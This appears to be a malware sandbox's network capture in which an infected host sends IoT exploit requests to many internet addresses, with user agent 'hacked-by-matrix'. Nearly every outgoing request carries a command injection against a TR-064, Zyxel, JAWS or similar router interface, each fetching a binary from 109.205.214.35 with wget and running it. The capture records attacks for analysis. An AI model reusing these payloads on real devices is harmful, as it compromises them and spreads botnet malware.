Mar 21, 2024 05:26:35.695074081 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:00.263689995 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	57096	172.66.167.240	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.878726959 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.366338968 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	45154	72.107.204.77	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.977040052 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	36110	67.7.23.118	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.988987923 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.168857098 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	56344	66.74.206.108	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.995333910 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	45902	200.33.3.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.030668974 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:12.181179047 CET	302	IN	HTTP/1.0 404 Not found Server: Wing FTP Server(Free Edition) Content-Type: application/octet-stream Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	53174	23.3.189.112	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.053811073 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:12.910281897 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:13.070271015 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:26:12 GMT Date: Thu, 21 Mar 2024 04:26:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 34 62 35 33 62 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 37 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.44b53b17.1710995172.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	44096	178.62.3.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.053875923 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:12.910293102 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:13.068155050 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:26:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Mar 21, 2024 05:26:13.068166971 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:26:12 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	50566	178.254.21.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.058552027 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:12.227456093 CET	188	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 0 Connection: close Date: Thu, 21 Mar 2024 04:26:11 GMT Server: OPNsense

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	35264	80.24.184.29	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.093059063 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:12.361131907 CET	1112	IN	Data Raw: 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 33 2e 31 37 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 74 29 7b 76 61 72 20 6e Data Ascii: /wp-includes\/js\/wp-emoji-release.min.js?ver=5.3.17"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.appl
Mar 21, 2024 05:26:12.362054110 CET	1112	IN	Data Raw: 61 6e 6f 2e 65 73 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 73 68 75 74 74 6c 65 2f 6c 69 62 2f 65 78 74 65 6e 74 69 6f 6e 73 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 3f 76 65 Data Ascii: ano.es/wp-content/themes/shuttle/lib/extentions/bootstrap/css/bootstrap.min.css?ver=2.3.2' type='text/css' media='all' /><link rel='stylesheet' id='shuttle-style-css' href='http://www.encuentrourbano.es/wp-content/themes/shuttle/style.css?ve
Mar 21, 2024 05:26:12.362998962 CET	1112	IN	Data Raw: 72 6f 75 6e 64 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 Data Ascii: round { background-color: #ffffff; }</style><link rel="icon" href="http://www.encuentrourbano.es/wp-content/uploads/2018/11/cropped-icon1-1-32x32.png" sizes="32x32" /><link rel="icon" href="http://www.encuentrourbano.es/wp-content/uploads/
Mar 21, 2024 05:26:12.363053083 CET	1200	IN	Data Raw: 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 32 30 70 78 20 31 30 70 78 20 32 30 Data Ascii: t-family: Arial; color: #ffffff; font-size: 20px; padding: 10px 20px 10px 20px; text-decoration: none;}.moretag:hover { background: #3cb0fd; text-decoration: none;}.iconmain .iconurl { display: none!important;}</style
Mar 21, 2024 05:26:12.375063896 CET	1112	IN	Data Raw: 2d 69 74 65 6d 2d 31 33 36 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 22 3e 3c 61 20 68 72 65 Data Ascii: -item-136" class="menu-item menu-item-type-post_type menu-item-object-page"><a href="http://www.encuentrourbano.es/contacto/"><span>Contacto</span></a></li></ul></div></div>... #header-links .main-navigation -->
Mar 21, 2024 05:26:12.390830994 CET	1286	IN	Data Raw: 75 72 62 61 6e 6f 2e 65 73 2f 63 69 75 64 61 64 65 73 2f 22 3e 3c 73 70 61 6e 3e 43 69 75 64 61 64 65 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 3c 6c 69 20 69 64 3d 22 72 65 73 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 33 37 22 20 63 6c 61 Data Ascii: urbano.es/ciudades/"><span>Ciudades</span></a></li><li id="res-menu-item-137" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children"><a href="http://www.encuentrourbano.es/nuestros-soportes/"><span>Soportes</s

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.23	58592	62.84.121.160	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.100631952 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.23	49856	82.102.76.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.123251915 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:12.356903076 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Thu, 21 Mar 2024 04:24:58 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 